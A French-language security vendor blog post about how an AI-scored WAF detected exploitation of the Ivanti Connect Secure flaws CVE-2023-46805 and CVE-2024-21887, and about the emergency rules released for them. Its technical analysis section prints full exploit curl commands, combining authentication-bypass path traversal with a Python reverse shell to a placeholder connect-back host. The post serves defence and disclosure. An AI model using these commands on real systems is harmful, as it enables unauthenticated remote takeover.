Abonnez-vous pour recevoir des notifications sur les nouveaux articles :

Comment le pare-feu WAF avec IA de Cloudflare a proactivement détecté la vulnérabilité critique zero-day d'Ivanti Connect Secure

23/01/2024

Lecture: 7 min.
How Cloudflare’s AI WAF proactively detected Ivanti Connect Secure critical zero-day vulnerability

La plupart des fournisseurs de pare-feu WAF s'appuient sur des méthodes réactives, réagissant aux vulnérabilités après leur découverte et leur exploitation. À cette fin, toutefois, nous préférons aborder proactivement les risques potentiels et utiliser l'IA. Aujourd'hui, nous présentons un exemple récent de vulnérabilité critique (CVE-2023-46805 et CVE-2024-21887) et expliquons de quelle manière l'indice WAF Attack Score amélioré par IA de Cloudflare et l'activation de règles d'urgence dans le pare-feu WAF ont permis de contrer cette menace.

La menace : CVE-2023-46805 et CVE-2024-21887

Une vulnérabilité par contournement d'authentification (CVE-2023-46805) et une vulnérabilité par injection de commande (CVE-2024-21887) affectant des produits Ivanti ont été récemment divulguées et analysées par AttackerKB. Cette vulnérabilité présente des risques importants, susceptibles de conduire à un accès et une prise de contrôle non autorisés sur les systèmes affectés. Dans la section suivante, nous allons examiner comment cette vulnérabilité peut être exploitée.

Analyse technique

Comme l'a indiqué AttackerKB, l'acteur malveillant peut transmettre une requête spécialement créée au système cible à l'aide d'une commande comme celle-ci :

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

Cette commande cible un point de terminaison (/license/keys-status/), généralement protégé par authentification. Cependant, l'acteur malveillant peut contourner l'authentification en manipulant l'URL afin d'inclure /API/v1/TOTP/user-backup-code/../../license/keys-status/. Cette technique est appelée « directory traversal » (traversée de répertoire).

Le décodage de la partie de la commande codée en URL produit un reverse shell (shell inversé) Python, qui se présente comme ceci :

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

Le reverse shell Python offre à l'acteur malveillant un moyen de prendre le contrôle du système cible.

La vulnérabilité réside dans la manière dont le système traite le paramètre node_name. Si un acteur malveillant peut contrôler la valeur de node_name, il peut injecter des commandes dans le système.

Plus d'informations sur le paramètre node_name : le paramètre node_name est un composant du point de terminaison /API/v1/license/keys-status/path:node_name. C'est sur ce point de terminaison que le problème survient principalement.

L'acteur malveillant peut transmettre une requête GET au chemin URI /API/v1/TOTP/user-backup-code/../../license/keys-status/;CMD;, où CMD représente toute commande qu'il souhaite exécuter. L'utilisation d'un point-virgule lui permet de spécifier cette commande dans la requête. Pour que la commande soit correctement traitée par le système, elle doit être codée en URL.

Une autre vulnérabilité par injection de code a été identifiée, comme le détaille l'article de blog d'AttackerKB. Cette fois, il s'agit d'une injection de commande authentifiée, identifiée dans une autre partie du système.

Le même contenu malveillant, décodé sous forme de reverse shell Python, utilisé dans la première injection de commande peut être employé ici ; il forme alors une structure JSON permettant de déclencher la vulnérabilité. Puisque le contenu malveillant est en langage JSON, il n'est pas nécessaire de le coder en URL :

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

Bien que le point de terminaison /api/v1/system/maintenance/archiving/cloud-server-test-connection nécessite une authentification, un acteur malveillant peut contourner cette exigence en la chaînant avec la vulnérabilité directory traversal mentionnée plus haut. Il peut créer un chemin URI non authentifié /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection pour atteindre ce point de terminaison et exploiter la vulnérabilité.

Pour exécuter une commande non authentifiée du système d'exploitation, un acteur malveillant utiliserait une requête curl comme celle-ci :

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

La défense proactive de Cloudflare

Le pare-feu WAF de Cloudflare repose sur une couche améliorée par IA supplémentaire, appelée WAF Attack Score, conçue dans le but d'intercepter les contournements liés à des attaques avant même qu'ils ne soient annoncés. WAF Attack Score fournit un score indiquant si la requête est malveillante ou non en se concentrant, jusqu'à présent, sur trois catégories d'attaque principales : XSS, SQLi et certaines variantes RCE (Command Injection, ApacheLog4J, etc.). Le score va de 1 à 99, et plus il est bas, plus la requête est malveillante. D'une manière générale, toute requête dont le score est inférieur à 20 est considérée comme malveillante.

Examinons maintenant les résultats de l'exemple d'exploitation de vulnérabilité ci-dessus, pour CVE-2023-46805 et CVE-2024-21887, dans le tableau de bord de Cloudflare (Security > Events). Les résultats de l'analyse WAF Attack Score sont constitués de trois scores individuels, chacun étant identifié afin d'indiquer sa pertinence par rapport à une catégorie d'attaque spécifique. Par ailleurs, un score global, « WAF Attack Score », prend en compte l'impact combiné de ces trois scores. Dans certains cas, le score global est affecté par l'un des sous-scores si l'attaque correspond à une catégorie. Ici, nous pouvons voir que le sous-score dominant est l'exécution de code à distance (« WAF RCE Attack Score) ».

Screenshot from Security Events highlighting WAF Attack Score Results showing WAF attack Score of 9

De même, pour la requête de commande de système d'exploitation non authentifiée, le modèle d'IA a renvoyé l'indication « WAF Attack Score: 19 », qui correspond également à la catégorie des requêtes malveillantes. Il convient d'indiquer que les scores cités en exemple ne sont pas des nombres fixes, et qu'ils peuvent varier en fonction de la variante de l'attaque détectée.

La bonne nouvelle est que les clients des offres Enterprise et Business qui ont activé WAF Attack Score, ainsi qu'une règle de blocage des scores faibles (par exemple, cf.waf.score le 20) ou (cf.waf.score.class eq "attack") pour l'offre Business, étaient déjà protégés contre les exploitations de vulnérabilité potentielles qui ont été testées jusqu'à présent, et ce, avant même que la vulnérabilité ne soit annoncée.

Déploiement d'une règle d'urgence

En réponse à cette vulnérabilité critique, Cloudflare a publié des règles d'urgence le 17 janvier 2024, moins de 24 heures après que la démonstration de faisabilité ait été rendue publique. Ces règles font partie des règles gérées du pare-feu WAF, et ciblent spécifiquement la menace posée par CVE-2023-46805 et une autre vulnérabilité, CVE-2024-21887, également liée aux produits Ivanti. Les règles, nommées « Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 », sont développées pour bloquer les tentatives d'exploitation de ces vulnérabilités, fournissant une couche supplémentaire de sécurité pour les utilisateurs de Cloudflare.

Depuis le déploiement de ces règles, nous avons enregistré un niveau d'activité élevé. À l'heure où nous écrivons ces lignes, plus de 180 000 déclenchements de la règle ont été observés.

ID de règle Description Action par défaut
New Managed Rule…34ab53c5 Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Bloquer
Legacy Managed Rule
100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Bloquer

Implications et meilleures pratiques

La réponse de Cloudflare à CVE-2023-46805 et CVE-2024-21887 souligne l'importance de la mise en œuvre de mesures de sécurité robustes. Les entreprises qui utilisent les services de Cloudflare, en particulier le pare-feu WAF, sont invitées à s'assurer que leurs systèmes ont été mis à jour avec les dernières règles et configurations, afin de maintenir une protection optimale. Nous recommandons également aux clients de déployer des règles avec WAF Attack Score, afin de renforcer leur sécurité. Si vous souhaitez en savoir plus sur WAF Attack Score, contactez l'équipe responsable de votre compte.

Conclusion

Cloudflare emploie une approche proactive en matière de cybersécurité, en utilisant l'IA pour identifier et stopper les attaques, comme l'illustre sa réponse à CVE-2023-46805 et CVE-2024-21887. Cette approche montre comment des menaces et des attaques peuvent être identifiées avant même qu'elles ne soient rendues publiques et que des vulnérabilités ne soient divulguées. En surveillant continuellement les vulnérabilités et en réagissant rapidement à celles-ci, Cloudflare veille à préserver la sécurité de ses clients dans un panorama numérique toujours plus complexe.

Nous protégeons des réseaux d'entreprise entiers, aidons nos clients à développer efficacement des applications à l'échelle d'Internet, accélérons tous les sites web ou applications Internet, repoussons les attaques DDoS, tenons les pirates informatiques à distance et pouvons vous accompagner dans votre parcours d'adoption de l'architecture Zero Trust.

Accédez à 1.1.1.1 depuis n'importe quel appareil pour commencer à utiliser notre application gratuite, qui rend votre navigation Internet plus rapide et plus sûre.

Pour en apprendre davantage sur notre mission, à savoir contribuer à bâtir un Internet meilleur, cliquez ici. Si vous cherchez de nouvelles perspectives professionnelles, consultez nos postes vacants.
Vulnerabilities (FR)WAF Rules (FR)WAF (FR)WAF Attack Score (FR)Zero Day Threats (FR)AI WAF (FR)Français

Suivre sur X

Himanshu Anand|@anand_himanshu
Radwa Radwan|@RadwaRadwan__
Cloudflare|@cloudflare

Publications associées